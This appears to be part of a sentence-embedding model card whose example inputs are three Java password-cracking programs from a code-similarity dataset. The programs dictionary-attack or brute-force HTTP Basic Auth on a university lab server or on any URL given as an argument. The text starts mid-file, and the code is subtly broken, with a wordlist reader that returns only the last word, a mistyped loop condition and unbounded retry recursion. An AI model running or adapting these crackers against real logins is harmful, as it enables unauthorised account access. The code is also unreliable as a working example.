  };

   private static String base64Encode (String string)    {
     String encodedString = "";
     byte bytes [] = string.getBytes ();
     int i = 0;
     int pad = 0;
     while (i < bytes.length) {
       byte b1 = bytes [i++];
       byte b2;
       byte b3;
       if (i >= bytes.length) {
          b2 = 0;
          b3 = 0;
          pad = 2;
          }
       else {
          b2 = bytes [i++];
          if (i >= bytes.length) {
             b3 = 0;
             pad = 1;
             }
          else
             b3 = bytes [i++];
          }
       byte c1 = (byte)(b1 >> 2);
       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
       byte c4 = (byte)(b3 & 0x3f);
       encodedString += base64Array [c1];
       encodedString += base64Array [c2];
       switch (pad) {
        case 0:
          encodedString += base64Array [c3];
          encodedString += base64Array [c4];
          break;
        case 1:
          encodedString += base64Array [c3];
          encodedString += "=";
          break;
        case 2:
          encodedString += "==";
          break;
        }
       }
       return encodedString;
   }
 }


sentences: package java.httputils;

import java.io.BufferedReader;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import java.net.MalformedURLException;
import java.sql.Timestamp;


public class Dictionary extends BruteForce
{
    protected String wordFile;

    public Dictionary()
    {
        super();
    }

    public static void main(String[] args)
    {
        Dictionary dictionary = new Dictionary();

        if (args.length < 3)
        {
            System.out.println(dictionary.printUsage());
        }
        else
        {
            dictionary.setURL(args[0]);
            dictionary.setUserName(args[1]);
            dictionary.setWordFile(args[2]);

            if (args.length > 3)
            {
                dictionary.setFileName(args[3]);
            }
            dictionary.process();
            System.out.println(dictionary.printResult());
            System.exit(1);
        }
    }

    public void process()
    {
        attempts = 0;
        String password = "";
        
        setStart(new Timestamp(System.currentTimeMillis()));

        BufferedReader input = null;
        try
        {
            FileReader file = new FileReader(getWordFile());
            
            input = new BufferedReader(file);
            
        }
        catch (FileNotFoundException x)
        {
            System.err.println("File not found: " + getWordFile());
            System.exit(2);
        }

        try
        {
            while ((password = input.readLine()) != null)
            {
                try
                {
                    
                    attempts++;
                    BasicAuthHttpRequest req =
                        new BasicAuthHttpRequest(
                            getURL(),
                            getUserName(),
                            password);
                    setPassword(password);
                    setEnd(new Timestamp(System.currentTimeMillis()));
                    setContent(req.getContent().toString());

                    
                    if (getFileName() != null
                        && getFileName().length() > 0)
                    {
                        createReport();
                    }
                    return;
                }
                catch (MalformedURLException e)
                {
                    e.printStackTrace();
                    return;
                }
                catch (IOException e)
                {

                }
            }
        }
        catch (IOException x)
        {
            x.printStackTrace();
        }

        
        setEnd(new Timestamp(System.currentTimeMillis()));

    }

    public String printUsage()
    {
        StringBuffer s = new StringBuffer();

        s.append("** BruteForce proper usage **\n\n");
        s.append(
            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\n\n");

        return s.toString();
    }
    
    public String getWordFile()
    {
        return wordFile;
    }

    
    public void setWordFile(String string)
    {
        wordFile = string;
    }

}
, import java.net.*;
import java.io.*;

 public class Dictionary {
 int attempts = 0;
   URLConnection conn = null;

   public static void main (String args[]){

	Dictionary a = new Dictionary();
     a.attack(args);
     }

   public void attack(String args[]) {
   try {
       String login = new String("");
       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
       String passwd = new String();


       passwd = getPasswd();
       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));

       String line;
       while ((line = in.readLine()) != null) {
           System.out.println(line);
           }
           System.out.println("Password Cracked Successfully!!!");
           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");
       }
     catch (IOException e) {
  
      String r = new String(e.getMessage());
    if ( r != null)
    {
     System.out.println("Message :" +r);
     Dictionary a = new Dictionary();
     a.attack(args);
    }
     else
     {
	System.out.println("Trying again");
	Dictionary a = new Dictionary();
	a.attack(args);
     }
     }
   }
  public String getPasswd()
  {

 int i=0;int j=0;
 attempts++;
 int count =0;
 System.out.println("Passing dictionary word and waiting for URL reply....... ");
  String currentword = "";
  String se = "";
  try{
 FileInputStream reader = new FileInputStream ("words");
 DataInputStream in = new DataInputStream(reader);
 while (in.available() !=0)
{
 currentword = in.readLine();
 count++;
 
 
 }
 }
  catch( IOException e){}

  return currentword;
	 
         }



 public InputStream openURLForInput (URL url, String uname, String pword)
 throws IOException  {
     conn = url.openConnection();
     conn.setDoInput (true);
     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));
     conn.connect ();
     return conn.getInputStream();
     }


 public String userNamePasswordBase64(String username, String password) {
     return " " + base64Encode (username + ":" + password);
     }

 private final static char base64Array [] = {
       'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
       'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
       'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
       'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
       'w', 'x', 'y', 'z', '0', '1', '2', '3',
       '4', '5', '6', '7', '8', '9', '+', '/'
  };

 private static String base64Encode (String string)    {
     String encodedString = "";
     byte bytes [] = string.getBytes ();
     int i = 0;
     int pad = 0;
     while (i < bytes.length) {
       byte b1 = bytes [i++];
       byte b2;
       byte b3;
       if (i >= bytes.length) {
          b2 = 0;
          b3 = 0;
          pad = 2;
          }
       else {
          b2 = bytes [i++];
          if (i >= bytes.length) {
             b3 = 0;
             pad = 1;
             }
          else
             b3 = bytes [i++];
          }
       byte c1 = (byte)(b1 >> 2);
       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
       byte c4 = (byte)(b3 & 0x3f);
       encodedString += base64Array [c1];
       encodedString += base64Array [c2];
       switch (pad) {
         case 0:
          encodedString += base64Array [c3];
          encodedString += base64Array [c4];
          break;
         case 1:
          encodedString += base64Array [c3];
          encodedString += "=";
          break;
         case 2:
          encodedString += "==";
          break;
        }
       }
       return encodedString;
   }
 }

, import java.net.*;
import java.io.*;

 public class Bruteforce {
 int attempts = 0;
  int l = 65;int m = 65;int n = 65;
   URLConnection conn = null;

   public static void  main(String args[]){
     
	Bruteforce a = new Bruteforce();
        a.attack(args);
     }

   public void attack(String args[]) {
   try {

       String login = new String("");
       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
       String passwd = new String();

	 passwd = getPasswd();
         BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));

       String line;
       while ((line = in.readLine()) != null) {
           System.out.println(line);
           }
           System.out.println("Password Cracked Successfully!!!");
           System.out.println("The passsword is :" + passwd + "and got after " + attempts + " tries");
       }
     catch (IOException e) {
    
      String r = new String(e.getMessage());
    if ( r != null)
    {
     System.out.println("Message :" +r);
     System.out.println("Trying again with new password");
     Bruteforce a = new Bruteforce();
     a.attack(args);
    }
     else
     {
	System.out.println("Trying again with new password");
	Bruteforce a = new Bruteforce();
	a.attack(args);
     }
     }
   }
  public String getPasswd()
  {
    attempts++;

    char i1 = 0;
    char j1 = 0;
    char k1 = 0;
    
     int i= l;     int j= m;     int k= n;

    String c = new String();
    String c1 = new String();
    String c2 = new String();
    String c3 = new String();
    String c4 = new String();
    boolean flag;

    for (i=l;i<123;i++)
    for (j=m;j<123;j++)
    for (k=n;k<123;k++)
    {
        if( flag = true )
        {

    i1 = (char)i;
    j1 = (char)j;
    k1 = (char)k;

    if (i==91) i=97;
    if (j==91) j=97;
    if (k==91) k=97;

    c = i1+"";
    c1 = j1+"";
    c2 = k1+"";
    c3 = c.concat(c1);
    c4 = c3.concat(c2);
    }else break;
    }
    flag = false;
    return c4;
  }

 public InputStream openURLForInput (URL url, String uname, String pword)
 throws IOException  {
     conn = url.openConnection();
     conn.setDoInput (true);
     conn.setRequestProperty ("Authorization", PasswordBase64(uname,pword));
     conn.connect ();
     return conn.getInputStream();
     }


 public String PasswordBase64(String username, String password) {
     return " " + base64Encode (username + ":" + password);
     }

 private final static char base64Array [] = {
       'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
       'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
       'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
       'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
       'w', 'x', 'y', 'z', '0', '1', '2', '3',
       '4', '5', '6', '7', '8', '9', '+', '/'
  };

 private static String base64Encode (String string)    {
     String encodedString = "";
     byte bytes [] = string.getBytes ();
     int i = 0;
     int pad = 0;
     while (i < bytes.length) {
       byte b1 = bytes [i++];
       byte b2;
       byte b3;
       if (i >= bytes.length) {
          b2 = 0;
          b3 = 0;
          pad = 2;
          }
       else {
          b2 = bytes [i++];
          if (i >= bytes.length) {
             b3 = 0;
             pad = 1;
             }
          else
             b3 = bytes [i++];
          }
       byte c1 = (byte)(b1 >> 2);
       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
       byte c4 = (byte)(b3 & 0x3f);
       encodedString += base64Array [c1];
       encodedString += base64Array [c2];
       switch (pad) {
         case 0:
          encodedString += base64Array [c3];
          encodedString += base64Array [c4];
          break;
         case 1:
          encodedString += base64Array [c3];
          encodedString += "=";
          break;
        case  2:
          encodedString += "==";
          break;
        }
       }
       return encodedString;
   }
 }

datasets: buelfhood/SOCO_TRAIN_java
pipeline_tag: sentence-similarity
library_name: sentence-transformers
Likes: 0 | All-time downloads: 41
Created: 2025-06-10 16:05:33